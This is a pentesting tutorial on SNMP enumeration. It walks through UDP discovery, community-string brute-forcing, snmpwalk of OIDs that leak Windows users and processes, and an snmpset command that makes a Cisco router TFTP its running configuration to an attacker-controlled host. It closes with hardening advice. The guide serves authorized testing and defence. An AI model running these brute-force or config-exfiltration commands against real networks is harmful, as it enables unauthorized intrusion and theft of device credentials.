SNMP Enumeration for Pentesters: Community Strings, snmpwalk, MIB OIDs, and Writable Communities

The Simple Network Management Protocol is one of the most under-appreciated goldmines on an internal network. It was designed in an era when "the network is trusted" was a reasonable assumption, and that design baggage persists today: SNMP v1 and v2c authenticate clients with nothing more than a plaintext shared secret called a community string, sent in the clear over UDP. When a router, switch, printer, hypervisor, or UPS speaks SNMP with a default community, an authorized tester can walk the entire device configuration — interface tables, ARP caches, routing tables, running processes, installed software, local user accounts, and on misconfigured Windows hosts, even password hashes pulled from the registry.

This guide covers the full SNMP enumeration workflow as it actually plays out on an engagement: discovering UDP/161, guessing or brute-forcing community strings, walking the MIB tree, decoding the OIDs that matter, and the rare-but-devastating case of a writable RW community that lets you reconfigure the device. Everything here assumes you are testing systems you are authorized to assess. SNMP enumeration is noisy and high-value, so it belongs early in an internal network workflow alongside your other service triage.

Why SNMP Is Such a High-Value Target

SNMP exposes a hierarchical database called the Management Information Base (MIB). Every readable value lives at a numeric Object Identifier (OID) — a dotted path like 1.3.6.1.2.1.1.5.0 (the device's sysName). Agents return whatever the vendor decided to expose, and many vendors expose a lot. The protocol matters because of three structural weaknesses:

• UDP transport: port 161 is connectionless, so it is easy to miss in a TCP-only scan and easy to spoof. Default scans that only touch TCP will walk right past a wide-open agent.
• Plaintext auth in v1/v2c: the community string is the only credential. There is no per-user identity, no encryption, and no integrity check. A passive capture of a single SNMP packet yields the string.
• Verbose data model: a single read-only community often discloses enough for a complete network map and a head start on lateral movement.

There are three protocol versions in the wild. v1 and v2c use community strings (v2c adds bulk transfers and better error handling but no security). v3 finally added a real user-based security model with authentication and privacy (encryption). On most internal networks you will still find v2c everywhere.

Discovery: Finding SNMP on UDP/161

Because SNMP rides UDP, you must scan for it explicitly. A standard TCP sweep will not see it. Use an Nmap UDP scan against the management port and pair it with the SNMP NSE scripts:

# UDP scan for the SNMP agent port
nmap -sU -p 161 --open 10.10.10.0/24

# Once a host responds, pull device info and try common communities
nmap -sU -p 161 --script snmp-info,snmp-brute 10.10.10.5

UDP scanning is slow and lossy — no response can mean "open|filtered" rather than "closed," so do not trust a single pass. Dedicated tools are faster for sweeping a range because they fire one GET per host and key off the reply:

# onesixtyone — fast community-string sprayer across a CIDR
onesixtyone -c community-list.txt -i targets.txt

# snmp-check — formatted one-shot enumeration of a single host
snmp-check -c public -v2c 10.10.10.5

When you are sorting out which UDP/161 hosts are worth attacking versus the rest of the services on a subnet, building the scans visually saves time. Our Nmap Command Builder generates the exact -sU syntax and NSE flag combinations, and the Nmap cheatsheet has the UDP timing and host-discovery flags that keep large sweeps from timing out.

Brute-Forcing Community Strings

The community string is a shared secret, but in practice it is rarely secret. The classic defaults are public (read-only) and private (read-write), and a huge fraction of devices ship with one or both still enabled. Beyond the defaults, organizations love predictable strings: the company name, a location code, cisco, admin, manager, or a year. A targeted wordlist beats a generic one.

# onesixtyone with a focused wordlist
onesixtyone 10.10.10.5 -c /usr/share/wordlists/snmp.txt

# hydra also speaks SNMP and is good for slow, controlled spraying
hydra -P /usr/share/wordlists/snmp.txt -v 10.10.10.5 snmp

A critical detail: a string that grants read-only access is not the same as one that grants read-write. Always test both, because the same device might accept public for reads and a different, guessable string for writes. To check whether a community is writable, attempt a SET against a harmless, restorable OID such as the sysContact field and confirm the value changed (then restore it):

# Read the current value first so you can restore it
snmpget -v2c -c private 10.10.10.5 1.3.6.1.2.1.1.4.0

# Attempt a write — success means you hold an RW community
snmpset -v2c -c private 10.10.10.5 1.3.6.1.2.1.1.4.0 s "pentest-restore-me"

If the SET returns the new value rather than an authorization error, you have a writable community. Document it carefully and restore the original value immediately — never leave a device in a modified state.

Walking the MIB with snmpwalk

Once you have a valid community, snmpwalk is the workhorse. It issues successive GETNEXT (or GETBULK in v2c) requests to traverse the OID tree and dump everything the agent will share. Start with a full walk, then drill into specific subtrees:

# Full walk of the entire tree (start here, save to a file)
snmpwalk -v2c -c public 10.10.10.5 > snmp-full.txt

# Faster bulk walk for large trees on v2c agents
snmpbulkwalk -v2c -c public 10.10.10.5

# Show numeric OIDs instead of resolved names (no MIBs needed)
snmpwalk -v2c -c public -On 10.10.10.5

If snmpwalk prints raw numeric OIDs because the textual MIBs are not installed, install snmp-mibs-downloader and remove the mibs : line from /etc/snmp/snmp.conf so names resolve. Readable output makes triage dramatically faster.

The MIB OIDs That Actually Matter

A full walk can be tens of thousands of lines. You do not need all of it — you need the branches that disclose attack-relevant data. These are the OIDs worth memorising for a first pass:

• System info: 1.3.6.1.2.1.1 — sysDescr (OS and version), sysName, sysContact, sysLocation, uptime. Immediate fingerprinting.
• Network interfaces: 1.3.6.1.2.1.2 — interface names, states, MAC addresses, traffic counters.
• IP addressing & ARP: 1.3.6.1.2.1.4.20 and 1.3.6.1.2.1.4.22 — IP address table and the ARP cache, which maps live hosts on adjacent segments.
• Routing table: 1.3.6.1.2.1.4.21 — next hops and reachable networks, a free map of internal topology.
• TCP/UDP listeners: 1.3.6.1.2.1.6.13 and 1.3.6.1.2.1.7.5 — open ports and connection state from the device's own perspective.

On Windows hosts running the SNMP service, the proprietary LANMGR-MIB-II / HOST-RESOURCES-MIB extensions are extraordinary. The well-known shortcuts are:

• Running processes: 1.3.6.1.2.1.25.4.2.1.2 — every process name, including AV agents and EDR you will want to evade.
• Process paths: 1.3.6.1.2.1.25.4.2.1.4 — full executable paths.
• Installed software: 1.3.6.1.2.1.25.6.3.1.2 — inventory of installed products and versions.
• Local user accounts: 1.3.6.1.4.1.77.1.2.25 — enumerated Windows usernames, perfect seeds for a password spray.
• Listening shares: 1.3.6.1.4.1.77.1.2.27 — SMB share names.

Target these directly instead of walking blind:

# Enumerate Windows local users via SNMP
snmpwalk -v2c -c public 10.10.10.5 1.3.6.1.4.1.77.1.2.25

# Running processes
snmpwalk -v2c -c public 10.10.10.5 1.3.6.1.2.1.25.4.2.1.2

Once you have collected the device data alongside the rest of your scan results, feed it into our Network Recon & Exploitation workspace — paste the service output and it returns per-service attack playbooks so you can prioritise SNMP findings against everything else on the host.

Abusing Writable (RW) Communities

A read-write community is a different class of finding. With snmpset you are no longer just reading — you can change the device's configuration. The impact depends entirely on what the vendor exposes as writable, and it can range from cosmetic to catastrophic. On Cisco IOS, the most dangerous classic abuse is using a writable community to make the device TFTP its running configuration to an attacker-controlled host via the OLD-CISCO-SYSTEM-MIB:

# Cisco: instruct the device to copy running-config to your TFTP server
# (OLD-CISCO-SYSTEM-MIB writeNet OID — authorized testing only)
snmpset -v2c -c private 10.10.10.1 \
  1.3.6.1.4.1.9.2.1.55.10.10.10.99 s "router-config.txt"

The exfiltrated configuration typically contains enable secrets, VTY passwords, SNMP communities, RADIUS/TACACS keys, and the full routing picture. Other RW abuses include modifying interface admin states to cause an outage, rewriting routing entries to redirect traffic, or changing the sysContact/sysName to prove write access in a report without causing damage. For a finding report, demonstrating a benign SET on sysContact is usually sufficient evidence — you do not need to exfiltrate a live config to prove the risk. Always restore any value you change and capture the before/after state.

A Quick Note on SNMPv3

SNMPv3 replaces communities with a User-based Security Model (USM) offering three levels: noAuthNoPriv (a username with no password and no encryption — still enumerable), authNoPriv (authenticated, plaintext), and authPriv (authenticated and encrypted). Even when v3 is "enabled," misconfiguration is common. You can enumerate valid usernames against a v3 agent because the agent returns different errors for known versus unknown users, and weak HMAC keys (MD5/SHA-1 with short passphrases) can be captured and cracked offline:

# Enumerate v3 usernames (different responses reveal valid users)
snmpwalk -v3 -l noAuthNoPriv -u admin 10.10.10.5

# snmpv3 user enumeration via NSE
nmap -sU -p 161 --script snmp-info -v 10.10.10.5

If you capture authenticated v3 traffic, the keyed-hash digest can be fed to a cracking tool offline, so weak passphrases defeat the supposed protection.

Defenses and Hardening

SNMP is fixable, and most of the wins are configuration-only. Recommend the following in your report:

• Disable SNMP entirely where it is not used. The most common SNMP finding is an agent nobody knew was running. If you do not actively monitor a device over SNMP, turn the agent off.
• Migrate to SNMPv3 with authPriv. Require both authentication and privacy. Use SHA-256 for auth and AES for encryption where the hardware supports it, and avoid MD5/DES.
• Kill default and weak communities. Remove public and private entirely. If v2c must remain temporarily, use a long, random community string and treat it as a credential, not a label.
• Make communities read-only. There is almost never a legitimate need for an RW community on production infrastructure. Remove write access unless a specific automation requires it, and scope it tightly.
• Restrict the management plane. Apply ACLs so UDP/161 is only reachable from your dedicated NMS hosts, and isolate management traffic on an out-of-band VLAN. A community string is far less dangerous when only the monitoring server can reach the agent.
• Filter at the host firewall. Block inbound 161/udp from user VLANs and the internet. Internet-exposed SNMP is also a UDP amplification reflector, so this protects others too.
• Limit the MIB view. Many agents support custom views that restrict which OID subtrees are readable. Exclude the host-resources and user-account branches so a leaked community discloses far less.

SNMP enumeration rewards thoroughness over cleverness: scan UDP properly, test both read and write access on every community you find, and walk the OIDs that map directly to attack value rather than dumping the whole tree blind. Treat it as a first-class step in your internal methodology — a single open agent frequently hands you the network map, a user list, and sometimes the device configuration before you have touched a more obvious service.